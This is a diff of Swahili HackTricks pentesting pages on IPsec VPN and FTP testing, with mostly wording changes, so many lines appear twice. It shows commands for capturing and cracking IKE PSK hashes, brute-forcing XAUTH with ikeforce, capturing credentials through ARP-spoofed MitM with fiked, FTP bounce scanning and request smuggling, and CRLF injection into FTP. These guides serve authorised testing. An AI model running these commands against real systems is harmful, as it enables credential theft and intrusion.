Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, ukiwa na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imeanzishwa).
Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja itakapofanya kazi ipasavyo).
```bash
@ -173,9 +173,9 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Kunasa Kitambulisho (Sniffing ID)
### Kunasa Kitambulisho (ID)
(Kutoka kwenye kitabu **Uthibitisho wa Usalama wa Mtandao: Tambua Mtandao Wako**): Pia niwezekanavyo kupata majina ya watumiaji halali kwa kunasa uhusiano kati ya mteja wa VPN na seva, kwani pakiti ya mode ya kushambulia ya kwanza inayotumia kitambulisho cha mteja hutumwa wazi
(Kutoka kwenye kitabu **Tathmini ya Usalama wa Mtandao: Tambua Mtandao Wako**): Pia niwezekanavyo kupata majina ya watumiaji halali kwa kunasa uhusiano kati ya mteja wa VPN na seva, kwani pakiti ya mode ya kushambulia ya kwanza inayotumia kitambulisho cha mteja hutumwa wazi
![](<../.gitbook/assets/image (111).png>)
@ -187,20 +187,20 @@ ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported
```
Hash itahifadhiwa ndani ya _hash.txt_.
Unaweza kutumia **psk-crack**, **john** (ukitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa kusudi la **kuvunja** hash:
Unaweza kutumia **psk-crack**, **john** (ukitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa **kuvunja** hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Aggressive mode IKE** inayounganishwa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Mbinu hii inaboreshwa na **XAuth (Uthibitishaji Uliopanuliwa)**, ambao hutumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
**Aggressive mode IKE** inayounganishwa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Mbinu hii inaboreshwa na **XAuth (Uthibitishaji Uliopanuliwa)**, ambao husaidia kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutumia huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana.
Kuongezeka kwa **IKEv2**, mabadiliko muhimu yanazingatiwa ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** hutumiwa badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.
Kuongezeka kwa **IKEv2**, mabadiliko muhimu yanaweza kuonekana ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** hutumiwa badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama.
### MitM ya mtandao wa ndani kwa kukamata siri za kuingia
### MitM ya mtandao wa ndani kwa ajili ya kukamata siri za uthibitishaji
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:
Hivyo unaweza kukamata data ya kuingia kwa kutumia _fiked_ na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa `fiked` kwa ajili ya kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, [maelezo zaidi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
@ -208,17 +208,17 @@ fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Kutumia **IPSec** jaribu kufanya shambulio la kati (MitM) na kuzuia trafiki yote kwenye bandari 500, ikiwa handaki la **IPSec** halitaweza kuanzishwa labda trafiki itatumwa wazi.
Kwa kuvunja nguvu **XAUTH** (unapojua jina la kikundi cha **id** halali na **psk**) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
Kutumia **ikeforce** unaweza kuvunja nguvu **XAUTH** (unapojua jina la kikundi cha **id** halali na **psk**) unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila mchanganyiko wa jina la mtumiaji: nenosiri.
Ikiwa umepata moja au zaidi ya mabadiliko sahihi, zitumie kama ilivyokuwa katika hatua zilizopita.
Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua zilizopita.
## Uthibitisho na VPN ya IPSEC
## Uthibitisho kwa kutumia VPN ya IPSEC
Katika Kali, **VPNC** hutumiwa kuanzisha mizunguko ya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_.
Katika Kali, **VPNC** hutumiwa kuanzisha vichimbuzi vya IPsec. **Mipangilio** lazima iwekwe katika saraka `/etc/vpnc/`. Unaweza kuanzisha mipangilio hii kwa kutumia amri _**vpnc**_.
Amri na mipangilio ifuatayo inaelezea mchakato wa kuanzisha uhusiano wa VPN na VPNC:
```bash
@ -247,7 +247,7 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
## Vifaa vya Marejeleo
* [Karatasi ya kuvunja PSK](http://www.ernw.de/download/pskattack.pdf)
* [Usalama wa Infocus wa SecurityFocus](http://www.securityfocus.com/infocus/1821)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Kuchunguza Utekelezaji wa VPN](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Tathmini ya Usalama wa Mtandao ya Toleo la 3
@ -257,7 +257,7 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -268,9 +268,9 @@ Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati w
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,15 +6,15 @@
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Kikundi cha Usalama cha Kujitahidi**
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,8 +22,8 @@
## Taarifa Msingi
**Itifaki ya Uhamishaji wa Faili (FTP)** hutumika kama itifaki ya kawaida kwa uhamishaji wa faili kwenye mtandao wa kompyuta kati ya seva na mteja.\
Ni itifaki ya **maandishi wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**.
**Itifaki ya Uhamishaji wa Faili (FTP)** hutumika kama itifaki ya kawaida kwa uhamisho wa faili kwenye mtandao wa kompyuta kati ya seva na mteja.\
Ni itifaki ya **maandishi ya wazi** inayotumia **tabia mpya ya mstari `0x0d 0x0a`** kwa hivyo mara nyingine unahitaji **kuunganisha kutumia `telnet`** au **`nc -C`**.
**Bandari ya Chaguo:** 21
```
@ -32,19 +32,19 @@ PORT STATE SERVICE
```
### Uunganisho wa Moja kwa Moja na wa Kupitisha
Katika **FTP ya Moja kwa Moja**, **mteja wa FTP** kwanza **ananzisha** uhusiano wa **udhibiti** kutoka kwa bandari yake N hadi kwa bandari ya amri ya Seva ya FTP - bandari 21. **Mteja** kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uhusiano wa data, kutoka kwa bandari yake M kwenda kwa bandari ya N+1 ya Mteja wa FTP.
Katika **FTP ya Moja kwa Moja**, mteja wa FTP kwanza **ananzisha** uunganisho wa kudhibiti kutoka kwa bandari yake N kwenda kwa bandari ya amri ya Seva ya FTP - bandari 21. Mteja kisha **anasikiliza** kwenye bandari **N+1** na kutuma bandari N+1 kwa Seva ya FTP. Seva ya FTP kisha **inaanzisha** uunganisho wa data, kutoka kwa bandari yake M kwenda kwa bandari N+1 ya Mteja wa FTP.
Lakini, ikiwa Mteja wa FTP ana firewall inayodhibiti uhusiano wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha.
Lakini, ikiwa Mteja wa FTP ana firewall inayodhibiti uunganisho wa data unaokuja kutoka nje, basi FTP ya moja kwa moja inaweza kuwa tatizo. Na, suluhisho linalowezekana kwa hilo ni FTP ya Kupitisha.
Katika **FTP ya Kupitisha**, mteja ananzisha uhusiano wa udhibiti kutoka kwa bandari yake N hadi kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uhusiano wa data kutoka kwa bandari yake P kwenda kwa bandari ya M ya Seva ya FTP.
Katika **FTP ya Kupitisha**, mteja ananzisha uunganisho wa kudhibiti kutoka kwa bandari yake N kwenda kwa bandari 21 ya Seva ya FTP. Baada ya hii, mteja anatoa **amri ya passv**. Seva kisha inatuma mteja nambari moja ya bandari yake M. Na **mteja** **anaanzisha** uunganisho wa data kutoka kwa bandari yake P kwenda kwa bandari M ya Seva ya FTP.
Chanzo: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
### Kutatua Mipangilio ya Uunganisho
### Uchunguzi wa Uunganisho
Amri za **FTP** **`debug`** na **`trace`** zinaweza kutumika kuona **jinsi mawasiliano yanavyotokea**.
## Uchambuzi
## Urambazaji
### Kukamata Bango
```bash
@ -119,11 +119,11 @@ ftp <IP>
```
### [Kujaribu nguvu](../../generic-methodologies-and-resources/brute-force.md#ftp)
Hapa unaweza kupata orodha nzuri ya siri za msingi za ftp: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
Hapa unaweza kupata orodha nzuri ya siri za ftp za msingi: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### Kiotomatiki
Kuingia kwa Anon na uchunguzi wa FTP hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au:
Kuingia kwa Anon na kucheki FTP hufanywa kiotomatiki na nmap kwa chaguo la **-sC** au:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -133,9 +133,9 @@ Unaweza kuunganisha kwenye seva ya FTP ukitumia kivinjari (kama Firefox) ukitumi
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma mara mbili URL encode `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya ujanja**. Moja ya vitendo vya ujanja vinavyowezekana ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama http).
Tafadhali kumbuka kwamba ikiwa **programu-jalizi ya wavuti** inatuma data inayodhibitiwa na mtumiaji **moja kwa moja kwa seva ya FTP** unaweza kutuma URL encode mara mbili `%0d%0a` (katika URL encode mara mbili hii ni `%250d%250a`) na kufanya **seva ya FTP ifanye vitendo vya ujanja**. Moja ya vitendo vya ujanja vinavyowezekana ni kupakua maudhui kutoka kwa seva inayodhibitiwa na mtumiaji, kufanya uchunguzi wa bandari au jaribu kuwasiliana na huduma zingine zinazotegemea maandishi wazi (kama vile http).
## Pakua faili zote kutoka kwa FTP
## Pakua faili zote kutoka FTP
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
@ -149,15 +149,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER jina_la_mtumiaji`**
* **`PASS nenosiri`**
* **`HELP`** Seva inaonyesha ni amri zipi zinazoungwa mkono
* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuanzisha uhusiano na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa decimal au tumia ya 5 na 6 kueleza bandari kwa hex_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuanzisha uhusiano wa TCP (_unaoonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Hii itaonyesha seva ya FTP kuweka uhusiano na IP 127.0.0.1 kwenye bandari 80 (_unahitaji kuweka herufi ya 5 kama "0" na ya 6 kama bandari kwa decimal au tumia ya 5 na 6 kuonyesha bandari kwa hex_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Hii itaonyesha seva ya FTP kuweka uhusiano wa TCP (_unaoonyeshwa na "2"_) na IP 127.0.0.1 kwenye bandari 80. Amri hii **inaunga mkono IPv6**.
* **`LIST`** Hii itatuma orodha ya faili kwenye folda ya sasa
* **`LIST -R`** Orodhesha kwa njia ya kurudia (ikiwa inaruhusiwa na seva)
* **`APPE /njia/kitu.txt`** Hii itaonyesha FTP kuhifadhi data iliyopokelewa kutoka kwa uhusiano wa **pasifiki** au kutoka kwa uhusiano wa **PORT/EPRT** kwenye faili. Ikiwa jina la faili lipo, itaongeza data.
* **`STOR /njia/kitu.txt`** Kama `APPE` lakini itabadilisha faili
* **`STOR /njia/kitu.txt`** Kama `APPE` lakini itaburuta faili
* **`STOU /njia/kitu.txt`** Kama `APPE`, lakini ikiwepo haitafanya chochote.
* **`RETR /njia/ya/faili`** Uhusiano wa pasifiki au wa port lazima uanzishwe. Kisha, seva ya FTP itatuma faili iliyotajwa kupitia uhusiano huo
* **`REST 6`** Hii itaonyesha seva kwamba wakati inatuma kitu kutumia `RETR` inapaswa kuanza kwenye byte ya 6.
* **`REST 6`** Hii itaonyesha seva kwamba wakati inatuma kitu kutumia `RETR` inapaswa kuanza kwenye herufi ya 6.
* **`TYPE i`** Weka uhamisho kuwa wa binary
* **`PASV`** Hii itafungua uhusiano wa pasifiki na itaonyesha mtumiaji anaweza kuunganisha wapi
* **`PUT /tmp/kitu.txt`** Pakia faili iliyotajwa kwenye FTP
@ -166,19 +166,19 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## Shambulio la FTPBounce
Baadhi ya seva za FTP huruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuunganisha kwenye seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuscan bandari zipi za mwenyeji ziko wazi kupitia seva ya FTP.
Baadhi ya seva za FTP huruhusu amri ya PORT. Amri hii inaweza kutumika kuonyesha kwa seva kwamba unataka kuunganisha kwenye seva nyingine ya FTP kwenye bandari fulani. Kisha, unaweza kutumia hii kuscan ni bandari zipi za mwenyeji zimefunguliwa kupitia seva ya FTP.
[**Jifunze hapa jinsi ya kutumia vibaya seva ya FTP kuscan bandari.**](ftp-bounce-attack.md)
Unaweza pia kutumia tabia hii kufanya seva ya FTP iingiliane na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP inayoweza kudhurika **ikutume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP inayoweza kudhurika ipakue faili kwa seva ya FTP tofauti.\
Unaweza pia kutumia tabia hii kutumia seva ya FTP kuingiliana na itifaki nyingine. Unaweza **kupakia faili inayohusisha ombi la HTTP** na kufanya seva ya FTP inayoweza kudhurika **ikutume kwa seva ya HTTP isiyojulikana** (_labda kuongeza mtumiaji mpya wa msimamizi?_) au hata kupakia ombi la FTP na kufanya seva ya FTP inayoweza kudhurika **ipakue faili kwa seva ya FTP tofauti**.\
Teoria ni rahisi:
1. **Pakia ombi (ndani ya faili ya maandishi) kwenye seva inayoweza kudhurika.** Kumbuka kwamba ikiwa unataka kuzungumza na seva nyingine ya HTTP au FTP unahitaji kubadilisha mistari na `0x0d 0x0a`
2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili ulihitaji kuweka kichwa cha picha mwanzoni)
2. **Tumia `REST X` kuepuka kutuma herufi ambazo huzitaki kutuma** (labda kupakia ombi ndani ya faili unahitaji kuweka kichwa cha picha mwanzoni)
3. **Tumia `PORT` kuunganisha kwenye seva na huduma isiyojulikana**
4. **Tumia `RETR` kutuma ombi lililohifadhiwa kwenye seva.**
Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket isiyoweza kuandikwa**_ **kwa sababu uhusiano hautoshi kutuma data na `RETR`**. Mapendekezo ya kujaribu kuepuka hilo ni:
Inawezekana sana kwamba hii **itatoa kosa kama** _**Socket haipatikani**_ **kwa sababu uhusiano hautoshelezi kutuma data na `RETR`**. Mapendekezo ya kujaribu kuepuka hilo ni:
* Ikiwa unatuma ombi la HTTP, **weka ombi moja baada ya nyingine** hadi **\~0.5MB** angalau. Kama hivi:
@ -189,13 +189,13 @@ posts.txt
* Jaribu **kujaza ombi na data "taka" inayohusiana na itifaki** (ukiwasiliana na FTP labda amri za taka au kurudia maagizo ya `RETR` kuchukua faili)
* Tu **jaza ombi na herufi za null au nyingine nyingi** (zilizogawanywa kwenye mistari au la)
Kwa namna yoyote, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md)
Kwa njia yoyote, hapa kuna [mfano wa zamani kuhusu jinsi ya kutumia hii kufanya seva ya FTP ipakue faili kutoka kwa seva ya FTP tofauti.](ftp-bounce-download-2oftp-file.md)
## Udhaifu wa Seva ya Filezilla
**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **FileZilla-Server** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mwingine** kwa huduma ya FTP.
**FileZilla** kawaida **inabana** kwa **lokalini** huduma ya **utawala** kwa **Seva ya FileZilla** (bandari 14147). Ikiwa unaweza kuunda **tuneli** kutoka **kwenye mashine yako** kufikia bandari hii, unaweza **kuunganisha** kwayo kwa kutumia **nenosiri tupu** na **kuunda** mtumiaji **mpya** kwa huduma ya FTP.
## Faili za Usanidi
## Faili za Mipangilio
```
ftpusers
ftp.conf
@ -211,7 +211,7 @@ Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hap
- `anon_mkdir_write_enable=YES`
- `anon_root=/home/username/ftp` - Daktari kwa wageni.
- `chown_uploads=YES` - Badilisha umiliki wa faili zilizopakiwa kwa siri
- `chown_username=username` - Mtumiaji ambaye amepewa umiliki wa faili zilizopakiwa kwa siri
- `chown_username=username` - Mtumiaji ambaye anapewa umiliki wa faili zilizopakiwa kwa siri
- `local_enable=YES` - Wezesha watumiaji wa ndani kuingia
- `no_anon_password=YES` - Usiulize nywila kwa wageni
- `write_enable=YES` - Ruhusu amri: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, na SITE
@ -223,9 +223,9 @@ Mipangilio ya msingi ya vsFTPd inaweza kupatikana katika `/etc/vsftpd.conf`. Hap
***
**Kikundi cha Usalama cha Kujitahidi Kufanya Kazi**
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -289,7 +289,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

View file

@ -1,20 +1,20 @@
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
**Kikundi cha Usalama cha Kujitahidi**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,13 +24,13 @@ Njia nyingine za kusaidia HackTricks:
## Kwa Mkono
1. Unganisha kwenye FTP inayoweza kudukuliwa
2. Tumia **`PORT`** au **`EPRT`** (lakini chagua moja tu) ili kuwezesha uhusiano na _\<IP:Port>_ unayotaka kuchunguza:
1. Unganisha kwenye FTP inayoweza kushambuliwa
2. Tumia **`PORT`** au **`EPRT`** (lakini moja tu kati yao) ili kuwezesha uhusiano na _\<IP:Port>_ unayotaka kuchunguza:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. Tumia **`LIST`** (hii itatuma tu kwa _\<IP:Port>_ iliyounganishwa orodha ya faili za sasa kwenye folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii inamaanisha bandari iko wazi) au `425 No connection established` (Hii inamaanisha bandari imefungwa)
1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Fungua/Funga`.
1. Badala ya `LIST` unaweza pia kutumia **`RETR /faili/katika/ftp`** na kutafuta majibu yanayofanana ya `Fungua/Funga`.
Mfano wa Kutumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa):
@ -40,7 +40,7 @@ Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa katika picha):
![](<../../.gitbook/assets/image (226).png>)
Bandari iliyofunguliwa kwa kutumia `EPRT` badala ya `LIST` (mazingira tofauti)
Bandari wazi ikatumia `EPRT` badala ya `LIST` (mazingira tofauti)
![](<../../.gitbook/assets/image (228).png>)
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
```
**Kikundi cha Usalama cha Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -67,6 +67,6 @@ Njia nyingine za kusaidia HackTricks:
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
